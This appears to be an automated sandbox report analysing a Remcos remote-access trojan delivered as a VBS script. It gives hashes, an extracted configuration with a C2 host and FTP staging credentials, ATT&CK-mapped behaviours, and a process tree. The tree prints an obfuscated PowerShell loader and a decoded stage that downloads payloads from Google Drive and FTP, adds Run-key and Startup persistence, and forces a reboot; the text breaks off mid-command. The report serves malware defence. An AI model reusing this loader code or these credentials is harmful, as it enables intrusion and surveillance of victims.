remcos | 4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b

Analysis

max time kernel
148s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
24-09-2024 01:17

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General

Target

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Size

561KB
MD5

e5d5bfe30179b640a80ae3cc1640e486
SHA1

5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
SHA256

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
SHA512

cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe

Score

10^/10

remcos grace defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

Grace

severdops.ddns.net:7717

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-P28XIL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
6	4268	powershell.exe
15	4268	powershell.exe
18	4268	powershell.exe
20	4268	powershell.exe
22	4268	powershell.exe
24	4268	powershell.exe
26	2272	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4480	powershell.exe
4268	powershell.exe
3936	powershell.exe
1792	powershell.exe
4696	powershell.exe
2272	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_xjj = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\qzeym.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	pastebin.com
26	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2272 set thread context of 1724	2272	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4480	powershell.exe
4480	powershell.exe
4268	powershell.exe
4268	powershell.exe
4268	powershell.exe
1792	powershell.exe
3936	powershell.exe
3936	powershell.exe
1792	powershell.exe
4696	powershell.exe
4696	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1724	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 4480	2652	WScript.exe	82
PID 2652 wrote to memory of 4480	2652	WScript.exe	82
PID 4480 wrote to memory of 4268	4480	powershell.exe	84
PID 4480 wrote to memory of 4268	4480	powershell.exe	84
PID 4268 wrote to memory of 3936	4268	powershell.exe	87
PID 4268 wrote to memory of 3936	4268	powershell.exe	87
PID 4268 wrote to memory of 1792	4268	powershell.exe	88
PID 4268 wrote to memory of 1792	4268	powershell.exe	88
PID 4268 wrote to memory of 1648	4268	powershell.exe	89
PID 4268 wrote to memory of 1648	4268	powershell.exe	89
PID 4268 wrote to memory of 4696	4268	powershell.exe	92
PID 4268 wrote to memory of 4696	4268	powershell.exe	92
PID 4268 wrote to memory of 2272	4268	powershell.exe	94
PID 4268 wrote to memory of 2272	4268	powershell.exe	94
PID 4268 wrote to memory of 1036	4268	powershell.exe	95
PID 4268 wrote to memory of 1036	4268	powershell.exe	95
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96
PID 2272 wrote to memory of 1724	2272	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = 